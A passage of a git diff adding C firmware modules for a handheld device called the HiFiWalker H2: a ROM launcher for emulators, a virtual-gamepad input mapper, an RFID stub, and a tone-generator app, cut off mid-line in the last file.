+ +static void scroll_rom_list(int delta) { + scroll_index += delta; + if (scroll_index < 0) scroll_index = 0; + if (scroll_index >= visible_count) scroll_index = visible_count - 1; + + if (visible_count > 0 && scroll_index < visible_count) { + lv_obj_scroll_to_view(list_btns[scroll_index], LV_ANIM_ON); + } +} + +/* ------------------------------------------------------------------ */ +/* Cycle system filter (rapid-rotate = cycle filter) */ +/* ------------------------------------------------------------------ */ + +static void cycle_filter(void) { + current_filter++; + if (system_filters[current_filter] == NULL) + current_filter = 0; + + char fbuf[48]; + snprintf(fbuf, sizeof(fbuf), "Filter: %s", system_filters[current_filter]); + lv_label_set_text(filter_label, fbuf); + + build_rom_list(); + LOG_INF("filter changed to: %s", system_filters[current_filter]); +} + +/* ------------------------------------------------------------------ */ +/* Launch the selected ROM */ +/* ------------------------------------------------------------------ */ + +static void launch_rom(int index) { + if (index < 0 || index >= visible_count) return; + + /* find the actual rom_entry_t (skip filtered-out entries) */ + const char *filter = system_filters[current_filter]; + int is_all = (current_filter == 0); + int real_index = -1; + int target = 0; + + for (int i = 0; i < rom_count; i++) { + if (!is_all && strcmp(roms[i].type->system, filter) != 0) + continue; + if (target == index) { real_index = i; break; } + target++; + } + if (real_index < 0) return; + + const rom_entry_t *rom = &roms[real_index]; + const rom_type_t *type = rom->type; + + LOG_INF("launching ROM: %s [%s]", rom->name, type->system); + + /* clear screen before launch */ + lv_obj_clean(lv_scr_act()); + + lv_obj_t *launch_lbl = lv_label_create(lv_scr_act()); + char launch_buf[80]; + snprintf(launch_buf, sizeof(launch_buf), + "Launching %s...\n%s\n[BACK] to exit", + type->system, rom->name); + lv_label_set_text(launch_lbl, launch_buf); + lv_obj_set_style_text_color(launch_lbl, COLOR_ACCENT, LV_PART_MAIN); + lv_obj_align(launch_lbl, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_text_align(launch_lbl, LV_TEXT_ALIGN_CENTER, LV_PART_MAIN); + + /* flush the "Launching..." screen */ + for (int i = 0; i < 10; i++) lv_timer_handler(); + + pid_t pid = fork(); + if (pid == 0) { + /* + * Child: exec the emulator with the ROM path. + * If the emulator has a core flag (e.g. mednafen -ss), pass it. + */ + if (type->core) { + char *args[] = { (char *)type->emulator, + (char *)type->core, + (char *)rom->path, + NULL }; + execv(type->emulator, args); + } else { + char *args[] = { (char *)type->emulator, + (char *)rom->path, + NULL }; + execv(type->emulator, args); + } + /* exec failed -- emulator binary not found */ + _exit(127); + } + + if (pid < 0) { + LOG_ERR("fork failed for emulator launch"); + return; /* fork failed */ + } + + LOG_INF("emulator child pid %d started", (int)pid); + + /* + * Parent: non-blocking wait in event loop. + * BACK key sends SIGTERM to the emulator child. + * Rebuilds the ROM list when child exits. + */ + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + int child_running = 1; + + while (child_running) { + lv_timer_handler(); + + /* non-blocking child check */ + int status; + pid_t w = waitpid(pid, &status, WNOHANG); + if (w == pid) { + child_running = 0; + LOG_INF("emulator child %d exited", (int)pid); + break; + } + + /* read input */ + if (input_fd >= 0 && + read(input_fd, &ev, sizeof(struct input_event)) > 0) { + + if (ev.type == EV_KEY && ev.value == 1) { + if (ev.code == H2_KEY_BACK) { + kill(pid, SIGTERM); + /* give emulator 300ms to clean up */ + usleep(300000); + waitpid(pid, &status, WNOHANG); + child_running = 0; + LOG_INF("emulator child %d terminated by user", (int)pid); + } + } + } + usleep(15000); + } + + if (input_fd >= 0) close(input_fd); + + /* rebuild the UI for the ROM picker */ + lv_obj_clean(lv_scr_act()); +} + +/* ------------------------------------------------------------------ */ +/* main -- module entry point */ +/* ------------------------------------------------------------------ */ + +int main(void) { + init_h2_graphics_runtime("RETRO GAME LAUNCHER"); + LOG_INF("retro module started"); + + lv_obj_t *scr = lv_scr_act(); + + /* ---- header ---- */ + title_label = lv_label_create(scr); + lv_label_set_text(title_label, "RETRO GAME LAUNCHER"); + lv_obj_align(title_label, LV_ALIGN_TOP_MID, 0, 8); + lv_obj_set_style_text_color(title_label, COLOR_PRIMARY, LV_PART_MAIN); + + /* ---- filter indicator (PLAY = launch, rapid-rotate = filter) ---- */ + filter_label = lv_label_create(scr); + lv_label_set_text(filter_label, "Filter: ALL"); + lv_obj_align(filter_label, LV_ALIGN_TOP_LEFT, 8, 30); + lv_obj_set_style_text_color(filter_label, COLOR_ACCENT, LV_PART_MAIN); + lv_obj_set_style_text_font(filter_label, &lv_font_montserrat_10, + LV_PART_MAIN); + + /* ---- ROM count ---- */ + count_label = lv_label_create(scr); + lv_obj_align(count_label, LV_ALIGN_TOP_RIGHT, -8, 30); + lv_obj_set_style_text_color(count_label, lv_color_make(120, 120, 140), + LV_PART_MAIN); + lv_obj_set_style_text_font(count_label, &lv_font_montserrat_10, + LV_PART_MAIN); + + /* ---- ROM list ---- */ + rom_list = lv_list_create(scr); + lv_obj_set_size(rom_list, 296, 168); + lv_obj_align(rom_list, LV_ALIGN_TOP_MID, 0, 46); + lv_obj_set_style_bg_color(rom_list, + lv_color_make(18, 22, 32), LV_PART_MAIN); + lv_obj_set_style_border_width(rom_list, 1, LV_PART_MAIN); + lv_obj_set_style_border_color(rom_list, + lv_color_make(50, 55, 70), LV_PART_MAIN); + + /* ---- status bar ---- */ + lv_obj_t *status = lv_label_create(scr); + lv_label_set_text(status, "ROTATE=scroll PLAY=launch BACK=exit"); + lv_obj_align(status, LV_ALIGN_BOTTOM_MID, 0, -4); + lv_obj_set_style_text_color(status, lv_color_make(80, 85, 100), + LV_PART_MAIN); + lv_obj_set_style_text_font(status, &lv_font_montserrat_10, LV_PART_MAIN); + + /* ---- scan ROMs ---- */ + scan_roms_recursive(ROM_DIR); + LOG_INF("ROM scan complete: %d ROM(s) found", rom_count); + build_rom_list(); + + if (rom_count == 0) { + lv_obj_t *empty = lv_label_create(rom_list); + lv_label_set_text(empty, + LV_SYMBOL_WARNING " No ROMs found.\n\n" + "Place ROM files in:\n" + " /data/roms/\n\n" + "Organize by folder:\n" + " /data/roms/nes/\n" + " /data/roms/snes/\n" + " /data/roms/gb/\n" + " ...etc"); + lv_obj_set_style_text_color(empty, lv_color_make(160, 100, 60), + LV_PART_MAIN); + lv_obj_set_style_text_align(empty, LV_TEXT_ALIGN_CENTER, LV_PART_MAIN); + } + + /* ---- input loop ---- */ + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + + /* rotary accumulator for filter cycling: + * 8 fast clicks in < 200ms each = cycle filter + * (avoids needing a separate button for filter) */ + int rotary_clicks = 0; + long long last_click_ms = 0; + + while (1) { + lv_timer_handler(); + + if (input_fd >= 0 && + read(input_fd, &ev, sizeof(struct input_event)) > 0) { + + if (ev.type == EV_REL && ev.code == 0) { + if (ev.value != 0) { + /* track rapid scrolling for filter toggle */ + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + long long now = (long long)ts.tv_sec * 1000 + + ts.tv_nsec / 1000000; + + if (now - last_click_ms < 200) { + rotary_clicks++; + if (rotary_clicks >= 8) { + cycle_filter(); + rotary_clicks = 0; + } + } else { + rotary_clicks = 1; + } + last_click_ms = now; + + scroll_rom_list(ev.value > 0 ? 1 : -1); + } + } + + if (ev.type == EV_KEY && ev.value == 1) { + if (ev.code == H2_KEY_PLAY && visible_count > 0) { + /* PLAY: launch selected ROM */ + launch_rom(scroll_index); + /* after launch returns, rebuild UI */ + lv_obj_clean(lv_scr_act()); + + /* re-create widgets */ + title_label = lv_label_create(scr); + lv_label_set_text(title_label, "RETRO GAME LAUNCHER"); + lv_obj_align(title_label, LV_ALIGN_TOP_MID, 0, 8); + lv_obj_set_style_text_color(title_label, COLOR_PRIMARY, + LV_PART_MAIN); + + filter_label = lv_label_create(scr); + char fbuf[48]; + snprintf(fbuf, sizeof(fbuf), "Filter: %s", + system_filters[current_filter]); + lv_label_set_text(filter_label, fbuf); + lv_obj_align(filter_label, LV_ALIGN_TOP_LEFT, 8, 30); + lv_obj_set_style_text_color(filter_label, COLOR_ACCENT, + LV_PART_MAIN); + lv_obj_set_style_text_font(filter_label, + &lv_font_montserrat_10, LV_PART_MAIN); + + count_label = lv_label_create(scr); + lv_obj_align(count_label, LV_ALIGN_TOP_RIGHT, -8, 30); + lv_obj_set_style_text_color(count_label, + lv_color_make(120, 120, 140), LV_PART_MAIN); + lv_obj_set_style_text_font(count_label, + &lv_font_montserrat_10, LV_PART_MAIN); + + rom_list = lv_list_create(scr); + lv_obj_set_size(rom_list, 296, 168); + lv_obj_align(rom_list, LV_ALIGN_TOP_MID, 0, 46); + lv_obj_set_style_bg_color(rom_list, + lv_color_make(18, 22, 32), LV_PART_MAIN); + lv_obj_set_style_border_width(rom_list, 1, LV_PART_MAIN); + lv_obj_set_style_border_color(rom_list, + lv_color_make(50, 55, 70), LV_PART_MAIN); + + status = lv_label_create(scr); + lv_label_set_text(status, + "ROTATE=scroll PLAY=launch BACK=exit"); + lv_obj_align(status, LV_ALIGN_BOTTOM_MID, 0, -4); + lv_obj_set_style_text_color(status, + lv_color_make(80, 85, 100), LV_PART_MAIN); + lv_obj_set_style_text_font(status, + &lv_font_montserrat_10, LV_PART_MAIN); + + build_rom_list(); + } + + if (ev.code == H2_KEY_BACK) { + /* BACK: exit module */ + break; + } + } + } + + usleep(15000); + } + + if (input_fd >= 0) close(input_fd); + LOG_INF("retro module exited"); + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-retro/retro_input_mapper.c b/modules/orebolt-retro/retro_input_mapper.c new file mode 100755 index 0000000..5cc8103 --- /dev/null +++ b/modules/orebolt-retro/retro_input_mapper.c @@ -0,0 +1,456 @@ +/* + * retro_input_mapper.c -- H2 Gamepad Input Translator Daemon + * + * Translates the HiFiWalker H2's physical controls into a standard + * Linux gamepad (uinput) that emulators can read natively. + * + * Creates /dev/input/js0 (or next available) as a virtual gamepad + * with: d-pad (4-way), 6 action buttons (A B X Y L R), Start, Select. + * + * ================================================================ + * PHYSICAL LAYOUT → GAMEPAD MAPPING + * ================================================================ + * + * HiFiWalker H2 Top View + * ┌──────────────────────────┐ + * │ │ + * │ LCD 320x240 │ + * │ │ + * └──────────────────────────┘ + * + * ┌──────────────────────────┐ + * │ │ + * │ ╭──────────╮ │ + * │ │ ROTARY │ │ ROTARY WHEEL + * │ │ ENCODER │ │ + * │ ╰──────────╯ │ + * │ │ + * │ [PREV] [NEXT] │ L-SHOULDER R-SHOULDER + * │ │ + * │ [PLAY] │ A BUTTON (confirm/jump/shoot) + * │ [BACK] │ B BUTTON (cancel/run) + * │ │ + * └──────────────────────────┘ + * + * ┌─────────────────────────────────────────────────────────────┐ + * │ GAMEPAD LAYOUT │ + * │ │ + * │ [SELECT] [START] │ + * │ │ + * │ ┌───┐ │ + * │ │ ▲ │ Rotary CCW │ + * │ ┌───┼───┼───┐ │ + * │ │◄ │ │ ►│ Rotary: click-switch toggles │ + * │ └───┼───┼───┘ between V-axis (U/D) and │ + * │ │ ▼ │ Rotary CW H-axis (L/R) │ + * │ └───┘ │ + * │ │ + * │ [L] [R] │ + * │ PREV btn NEXT btn │ + * │ │ + * │ [Y] │ + * │ [X] [B] PLAY = A │ + * │ [A] BACK = B (short press) │ + * │ BACK = SELECT (long press) │ + * └─────────────────────────────────────────────────────────────┘ + * + * ================================================================ + * MAPPING TABLE + * ================================================================ + * + * H2 Physical Virtual Gamepad Notes + * -------------- ---------------- ----- + * Rotary CCW D-pad Up / Left Axis toggled by rotary click + * Rotary CW D-pad Down / Right + * Rotary press (EV_KEY) Toggle d-pad axis V-mode(U/D) ↔ H-mode(L/R) + * PLAY (164) short A (BTN_SOUTH) Confirm / jump / shoot + * PLAY (164) long 1.5s START (BTN_START) Pause / menu + * BACK (158) short B (BTN_EAST) Cancel / run + * BACK (158) long 1.5s SELECT (BTN_SELECT) In-game menu + * PREV (165) L (BTN_TL) Shoulder left + * NEXT (163) R (BTN_TR) Shoulder right + * (rotary+PLAY combo) X (BTN_NORTH) Context action + * (rotary+BACK combo) Y (BTN_WEST) Context action + * + * When the d-pad is in V-mode (default): + * Rotary CW = D-pad Down + * Rotary CCW = D-pad Up + * Left/Right = hold rotary-click + rotate + * + * When the d-pad is in H-mode (after rotary click): + * Rotary CW = D-pad Right + * Rotary CCW = D-pad Left + * Up/Down = hold rotary-click + rotate + * + * Auto-revert: d-pad returns to V-mode after 3 seconds of no + * rotary activity (prevents stuck in H-mode). + * + * ================================================================ + * USAGE + * ================================================================ + * + * This daemon should be started by the init system BEFORE any + * emulator is launched. It reads /dev/input/event0 (the H2's + * physical input) and writes to the virtual uinput gamepad. + * + * Emulators should be configured to read from the uinput gamepad + * device rather than /dev/input/event0 directly. + * + * The daemon exits cleanly on SIGTERM or SIGINT. + * + * Build: mipsel-linux-musl-gcc -o retro_input_mapper \ + * retro_input_mapper.c + * + * ================================================================ + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* ------------------------------------------------------------------ */ +/* H2 input event codes */ +/* ------------------------------------------------------------------ */ + +#define H2_KEY_PLAY 164 +#define H2_KEY_BACK 158 +#define H2_KEY_PREV 165 /* previous track / left side button */ +#define H2_KEY_NEXT 163 /* next track / right side button */ +#define H2_ROTARY_REL 0 /* EV_REL code for rotary encoder */ +#define H2_ROTARY_PRESS 115 /* EV_KEY code if rotary is pressable */ + +/* ------------------------------------------------------------------ */ +/* Virtual gamepad button indices (Linux input subsystem) */ +/* ------------------------------------------------------------------ */ + +#define VBTN_A BTN_SOUTH /* 304 - confirm / jump / shoot */ +#define VBTN_B BTN_EAST /* 305 - cancel / run */ +#define VBTN_X BTN_NORTH /* 308 - context action */ +#define VBTN_Y BTN_WEST /* 307 - context action */ +#define VBTN_L BTN_TL /* 310 - left shoulder */ +#define VBTN_R BTN_TR /* 311 - right shoulder */ +#define VBTN_SELECT BTN_SELECT /* 314 - in-game select */ +#define VBTN_START BTN_START /* 315 - in-game start / pause */ + +/* ------------------------------------------------------------------ */ +/* D-pad axis mode */ +/* ------------------------------------------------------------------ */ + +#define DAXIS_VERT 0 /* rotary -> up/down (default) */ +#define DAXIS_HORIZ 1 /* rotary -> left/right */ + +static volatile sig_atomic_t running = 1; + +static void signal_handler(int sig) { + (void)sig; + running = 0; +} + +/* ------------------------------------------------------------------ */ +/* Time helper: milliseconds since epoch */ +/* ------------------------------------------------------------------ */ + +static long long now_ms(void) { + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return (long long)ts.tv_sec * 1000 + ts.tv_nsec / 1000000; +} + +/* ------------------------------------------------------------------ */ +/* Create the virtual uinput gamepad device */ +/* ------------------------------------------------------------------ */ + +static int create_gamepad(int *uinput_fd) { + int fd = open("/dev/uinput", O_WRONLY | O_NONBLOCK); + if (fd < 0) { + /* try /dev/input/uinput as fallback */ + fd = open("/dev/input/uinput", O_WRONLY | O_NONBLOCK); + } + if (fd < 0) { + perror("open /dev/uinput"); + return -1; + } + + /* --- device identification --- */ + struct uinput_setup usetup; + memset(&usetup, 0, sizeof(usetup)); + snprintf(usetup.name, UINPUT_MAX_NAME_SIZE, "H2 Virtual Gamepad"); + usetup.id.bustype = BUS_VIRTUAL; + usetup.id.vendor = 0x4832; /* "H2" */ + usetup.id.product = 0x0001; + usetup.id.version = 1; + + /* --- enable d-pad axes --- */ + ioctl(fd, UI_SET_EVBIT, EV_ABS); + ioctl(fd, UI_SET_ABSBIT, ABS_X); /* d-pad horizontal */ + ioctl(fd, UI_SET_ABSBIT, ABS_Y); /* d-pad vertical */ + + struct uinput_abs_setup abs_x = { .code = ABS_X, + .min = -1, .max = 1, .fuzz = 0, .flat = 0, .resolution = 0 }; + struct uinput_abs_setup abs_y = { .code = ABS_Y, + .min = -1, .max = 1, .fuzz = 0, .flat = 0, .resolution = 0 }; + ioctl(fd, UI_ABS_SETUP, &abs_x); + ioctl(fd, UI_ABS_SETUP, &abs_y); + + /* --- enable buttons --- */ + ioctl(fd, UI_SET_EVBIT, EV_KEY); + ioctl(fd, UI_SET_KEYBIT, VBTN_A); + ioctl(fd, UI_SET_KEYBIT, VBTN_B); + ioctl(fd, UI_SET_KEYBIT, VBTN_X); + ioctl(fd, UI_SET_KEYBIT, VBTN_Y); + ioctl(fd, UI_SET_KEYBIT, VBTN_L); + ioctl(fd, UI_SET_KEYBIT, VBTN_R); + ioctl(fd, UI_SET_KEYBIT, VBTN_SELECT); + ioctl(fd, UI_SET_KEYBIT, VBTN_START); + + /* --- create the device --- */ + if (ioctl(fd, UI_DEV_SETUP, &usetup) < 0) { + perror("UI_DEV_SETUP"); + close(fd); + return -1; + } + if (ioctl(fd, UI_DEV_CREATE) < 0) { + perror("UI_DEV_CREATE"); + close(fd); + return -1; + } + + *uinput_fd = fd; + return 0; +} + +/* ------------------------------------------------------------------ */ +/* Emit a single uinput event */ +/* ------------------------------------------------------------------ */ + +static void emit_event(int fd, uint16_t type, uint16_t code, + int32_t value) { + struct input_event ie; + memset(&ie, 0, sizeof(ie)); + ie.type = type; + ie.code = code; + ie.value = value; + (void)write(fd, &ie, sizeof(ie)); +} + +/* ------------------------------------------------------------------ */ +/* Emit a button press/release pair with a 10ms gap */ +/* ------------------------------------------------------------------ */ + +static void emit_button(int fd, uint16_t btn, int pressed) { + emit_event(fd, EV_KEY, btn, pressed); + /* sync after each event for low-latency input */ + emit_event(fd, EV_SYN, SYN_REPORT, 0); +} + +/* ------------------------------------------------------------------ */ +/* Emit d-pad axis value and sync */ +/* ------------------------------------------------------------------ */ + +static void emit_dpad(int fd, int axis_x, int axis_y) { + emit_event(fd, EV_ABS, ABS_X, axis_x); + emit_event(fd, EV_ABS, ABS_Y, axis_y); + emit_event(fd, EV_SYN, SYN_REPORT, 0); +} + +/* ------------------------------------------------------------------ */ +/* main */ +/* ------------------------------------------------------------------ */ + +int main(void) { + /* --- signal handling --- */ + struct sigaction sa; + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = signal_handler; + sigaction(SIGTERM, &sa, NULL); + sigaction(SIGINT, &sa, NULL); + + /* --- create virtual gamepad --- */ + int ufd = -1; + if (create_gamepad(&ufd) < 0) { + fprintf(stderr, "retro_input_mapper: failed to create " + "virtual gamepad\n"); + return 1; + } + + /* --- open H2 physical input --- */ + int phys_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + if (phys_fd < 0) { + perror("open /dev/input/event0"); + ioctl(ufd, UI_DEV_DESTROY); + close(ufd); + return 1; + } + + /* + * State machine + */ + int dpad_mode = DAXIS_VERT; /* current axis mode */ + int dpad_x = 0; /* current d-pad X (-1/0/1) */ + int dpad_y = 0; /* current d-pad Y (-1/0/1) */ + int play_held = 0; /* is PLAY currently held? */ + int back_held = 0; /* is BACK currently held? */ + long long play_down_ms = 0; /* timestamp PLAY was pressed */ + long long back_down_ms = 0; /* timestamp BACK was pressed */ + long long last_rotary_ms = 0; /* last rotary activity */ + int play_long_fired = 0; /* long-press already fired? */ + int back_long_fired = 0; /* long-press already fired? */ + + #define LONG_PRESS_MS 1500 + #define AXIS_REVERT_MS 3000 + + struct input_event ev; + + while (running) { + ssize_t n = read(phys_fd, &ev, sizeof(ev)); + + if (n <= 0) { + /* no data -- check axis auto-revert */ + if (dpad_mode == DAXIS_HORIZ) { + long long idle = now_ms() - last_rotary_ms; + if (idle > AXIS_REVERT_MS) { + dpad_mode = DAXIS_VERT; + } + } + + /* check long-press timeouts */ + long long now = now_ms(); + if (play_held && !play_long_fired && + (now - play_down_ms) >= LONG_PRESS_MS) { + play_long_fired = 1; + emit_button(ufd, VBTN_START, 1); + emit_button(ufd, VBTN_START, 0); + } + if (back_held && !back_long_fired && + (now - back_down_ms) >= LONG_PRESS_MS) { + back_long_fired = 1; + emit_button(ufd, VBTN_SELECT, 1); + emit_button(ufd, VBTN_SELECT, 0); + } + + usleep(5000); /* 5ms poll when idle */ + continue; + } + + /* ---- ROTARY ENCODER ---- */ + if (ev.type == EV_REL && ev.code == H2_ROTARY_REL) { + last_rotary_ms = now_ms(); + + int step = (ev.value > 0) ? 1 : -1; + + if (dpad_mode == DAXIS_VERT) { + /* vertical: rotary -> up/down */ + dpad_y = step; + dpad_x = 0; + emit_dpad(ufd, 0, dpad_y); + /* release after 80ms for discrete steps */ + usleep(80000); + dpad_y = 0; + emit_dpad(ufd, 0, 0); + } else { + /* horizontal: rotary -> left/right */ + dpad_x = step; + dpad_y = 0; + emit_dpad(ufd, dpad_x, 0); + usleep(80000); + dpad_x = 0; + emit_dpad(ufd, 0, 0); + } + + /* combo detection: if PLAY held during rotary -> X button */ + if (play_held && !play_long_fired) { + emit_button(ufd, VBTN_X, 1); + emit_button(ufd, VBTN_X, 0); + } + /* combo: if BACK held during rotary -> Y button */ + if (back_held && !back_long_fired) { + emit_button(ufd, VBTN_Y, 1); + emit_button(ufd, VBTN_Y, 0); + } + + continue; + } + + /* ---- ROTARY PRESS (toggle axis) ---- */ + if (ev.type == EV_KEY && ev.code == H2_ROTARY_PRESS) { + if (ev.value == 1) { + /* toggle d-pad axis mode */ + dpad_mode = (dpad_mode == DAXIS_VERT) + ? DAXIS_HORIZ : DAXIS_VERT; + /* reset d-pad position on toggle */ + dpad_x = 0; + dpad_y = 0; + emit_dpad(ufd, 0, 0); + last_rotary_ms = now_ms(); + } + continue; + } + + /* ---- BUTTONS ---- */ + if (ev.type == EV_KEY) { + if (ev.code == H2_KEY_PLAY) { + if (ev.value == 1) { + play_held = 1; + play_long_fired = 0; + play_down_ms = now_ms(); + } else { + /* released */ + if (!play_long_fired) { + /* short press -> A button */ + emit_button(ufd, VBTN_A, 1); + emit_button(ufd, VBTN_A, 0); + } else { + /* long press already sent START, release it */ + emit_button(ufd, VBTN_START, 0); + } + play_held = 0; + } + continue; + } + + if (ev.code == H2_KEY_BACK) { + if (ev.value == 1) { + back_held = 1; + back_long_fired = 0; + back_down_ms = now_ms(); + } else { + if (!back_long_fired) { + /* short press -> B button */ + emit_button(ufd, VBTN_B, 1); + emit_button(ufd, VBTN_B, 0); + } else { + emit_button(ufd, VBTN_SELECT, 0); + } + back_held = 0; + } + continue; + } + + if (ev.code == H2_KEY_PREV) { + emit_button(ufd, VBTN_L, ev.value); + continue; + } + + if (ev.code == H2_KEY_NEXT) { + emit_button(ufd, VBTN_R, ev.value); + continue; + } + } + } + + /* --- cleanup --- */ + emit_dpad(ufd, 0, 0); + ioctl(ufd, UI_DEV_DESTROY); + close(ufd); + close(phys_fd); + + return 0; +} \ No newline at end of file diff --git a/modules/orebolt-rfid/rfid.c b/modules/orebolt-rfid/rfid.c new file mode 100755 index 0000000..52a67cc --- /dev/null +++ b/modules/orebolt-rfid/rfid.c @@ -0,0 +1,36 @@ +/* + * rfid.c -- RFID/NFC reader module (stub) + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * RFID/NFC reader module. + * + * Stub: full module surface (init/deinit) so the build links cleanly. + * against liblvgl.so. Hardware-specific implementation pending. + */ +#include "h2_ui.h" +#include "log_manager.h" + +static lv_obj_t *rfid_screen = NULL; + +void rfid_init(lv_obj_t *parent) +{ + rfid_screen = lv_obj_create(parent); + lv_obj_set_size(rfid_screen, H2_LCD_WIDTH - 4, H2_LCD_HEIGHT - 4); + lv_obj_center(rfid_screen); + + lv_obj_t *lbl = lv_label_create(rfid_screen); + lv_label_set_text(lbl, "rfid\n(stub)"); + lv_obj_center(lbl); + + LOG_INF("rfid init"); +} + +void rfid_deinit(void) +{ + if (rfid_screen) { + lv_obj_del(rfid_screen); + rfid_screen = NULL; + } + LOG_INF("rfid deinit"); +} diff --git a/modules/orebolt-scalpel/scalpel.c b/modules/orebolt-scalpel/scalpel.c new file mode 100755 index 0000000..05c7398 --- /dev/null +++ b/modules/orebolt-scalpel/scalpel.c @@ -0,0 +1,216 @@ +/* + * scalpel.c -- Acoustic Scalpel Live Sound Synthesizer + * + * SPDX-License-Identifier: GPL-2.0-or-later + * + * POSIX-threaded audio synthesizer writing to /dev/dsp at 44.1kHz. + * Generates precise audio diagnostic tracking signals via + * continuous multi-waveform raw data matrices written to + * /dev/dsp through an independent POSIX threading loop. + * Supports SINE and SQUARE waveforms with real-time + * frequency tuning via the rotary encoder (20 Hz - 20 kHz). + * + * Manifest ref: Asset V -- Acoustic Scalpel Live Sound Synthesizer + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "h2_ui.h" +#include "log_manager.h" + +#define SAMPLE_RATE 44100 +#define CHANNELS 1 +#define AUDIO_FORMAT AFMT_S16_LE +#define BUFFER_SIZE 1024 +#define MIN_FREQ 20 +#define MAX_FREQ 20000 +#define FREQ_STEP 10 + +static volatile int target_frequency = 440; +static volatile int wave_type = 0; /* 0 = SINE, 1 = SQUARE */ +static volatile int keep_playing = 1; + +/* UI labels */ +static lv_obj_t *freq_label = NULL; +static lv_obj_t *wave_label = NULL; +static lv_obj_t *status_label = NULL; +static lv_obj_t *status_icon = NULL; + +static void *audio_synthesis_thread(void *arg) { + (void)arg; + int audio_fd = open("/dev/dsp", O_WRONLY); + if (audio_fd == -1) { + LOG_ERR("cannot open /dev/dsp for audio output"); + return NULL; + } + + int format = AUDIO_FORMAT; + ioctl(audio_fd, SNDCTL_DSP_SETFMT, &format); + int channels = CHANNELS; + ioctl(audio_fd, SNDCTL_DSP_CHANNELS, &channels); + int speed = SAMPLE_RATE; + ioctl(audio_fd, SNDCTL_DSP_SPEED, &speed); + + LOG_INF("audio synth thread started: %d Hz, %d ch, format=%d", + speed, channels, format); + + int16_t buffer[BUFFER_SIZE]; + uint32_t sample_index = 0; + + while (keep_playing) { + int current_freq = target_frequency; + int current_type = wave_type; + + for (int i = 0; i < BUFFER_SIZE; i++) { + double time_t = (double)sample_index / SAMPLE_RATE; + double angle = 2.0 * M_PI * current_freq * time_t; + + if (current_type == 0) { + /* SINE wave */ + buffer[i] = (int16_t)(20000.0 * sin(angle)); + } else { + /* SQUARE wave */ + buffer[i] = (sin(angle) >= 0) ? 15000 : -15000; + } + sample_index++; + } + write(audio_fd, buffer, sizeof(buffer)); + } + + close(audio_fd); + LOG_INF("audio synth thread stopped"); + return NULL; +} + +static void update_display(void) { + char buf[48]; + snprintf(buf, sizeof(buf), "FREQUENCY: %d Hz", target_frequency); + lv_label_set_text(freq_label, buf); + + const char *wave_name = (wave_type == 0) ? "SINE WAVE" : "SQUARE WAVE"; + lv_label_set_text(wave_label, wave_name); +} + +int main(void) { + init_h2_graphics_runtime("ACOUSTIC SCALPEL"); + LOG_INF("scalpel module started"); + + lv_obj_t *scr = lv_scr_act(); + + /* Header bar */ + lv_obj_t *header = lv_obj_create(scr); + lv_obj_set_size(header, 320, 32); + lv_obj_align(header, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_set_style_bg_color(header, + lv_color_make(211, 160, 0), LV_PART_MAIN); + lv_obj_set_style_border_width(header, 0, LV_PART_MAIN); + lv_obj_set_style_pad_all(header, 4, LV_PART_MAIN); + + lv_obj_t *title = lv_label_create(header); + lv_label_set_text(title, "ACOUSTIC SCALPEL SIGNAL GEN"); + lv_obj_set_style_text_color(title, + lv_color_make(0, 0, 0), LV_PART_MAIN); + lv_obj_set_style_text_font(title, &lv_font_montserrat_12, LV_PART_MAIN); + lv_obj_align(title, LV_ALIGN_CENTER, 0, 0); + + /* Frequency display */ + freq_label = lv_label_create(scr); + lv_obj_align(freq_label, LV_ALIGN_TOP_MID, 0, 50); + lv_obj_set_style_text_color(freq_label, COLOR_ACCENT, LV_PART_MAIN); + lv_obj_set_style_text_font(freq_label, &lv_font_montserrat_14, LV_PART_MAIN); + + /* Waveform display */ + wave_label = lv_label_create(scr); + lv_obj_align(wave_label, LV_ALIGN_TOP_MID, 0, 80); + lv_obj_set_style_text_color(wave_label, COLOR_PRIMARY, LV_PART_MAIN); + lv_obj_set_style_text_font(wave_label, &lv_font_montserrat_14, LV_PART_MAIN); + + /* Status card */ + lv_obj_t *card = lv_obj_create(scr); + lv_obj_set_size(card, 280, 80); + lv_obj_align(card, LV_ALIGN_CENTER, 0, 20); + lv_obj_set_style_bg_color(card, + lv_color_make(18, 22, 32), LV_PART_MAIN); + + status_icon = lv_label_create(card); + lv_obj_align(status_icon, LV_ALIGN_TOP_LEFT, 10, 8); + lv_obj_set_style_text_color(status_icon, COLOR_ACCENT, LV_PART_MAIN); + lv_label_set_text(status_icon, LV_SYMBOL_AUDIO); + + status_label = lv_label_create(card); + lv_label_set_text(status_label, "Audio engine: ACTIVE"); + lv_obj_align(status_label, LV_ALIGN_TOP_LEFT, 30, 8); + lv_obj_set_style_text_color(status_label, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(status_label, &lv_font_montserrat_10, LV_PART_MAIN); + + /* Help text */ + lv_obj_t *help = lv_label_create(scr); + lv_label_set_text(help, + "[WHEEL] Tune Freq [PLAY] Toggle Wave [BACK] Exit"); + lv_obj_align(help, LV_ALIGN_BOTTOM_MID, 0, -8); + lv_obj_set_style_text_color(help, COLOR_MUTED, LV_PART_MAIN); + lv_obj_set_style_text_font(help, &lv_font_montserrat_10, LV_PART_MAIN); + + update_display(); + + /* Start audio synthesis thread */ + pthread_t sound_worker; + if (pthread_create(&sound_worker, NULL, audio_synthesis_thread, NULL) != 0) { + LOG_ERR("failed to create audio thread"); + lv_label_set_text(status_label, "Audio engine: FAILED"); + lv_obj_set_style_text_color(status_label, + lv_color_make(255, 0, 0), LV_PART_MAIN); + /* Still allow UI to run for user to see the error */ + } + + /* Input loop */ + int input_fd = open("/dev/input/event0", O_RDONLY | O_NONBLOCK); + struct input_event ev; + + while (1) { + lv_timer_handler(); + + if (input_fd >= 0 && + read(input_fd, &ev, sizeof(struct input_event)) > 0) { + if (ev.type == EV_REL && ev.code == H2_ROTARY_REL) { + if (ev.value > 0 && target_frequency 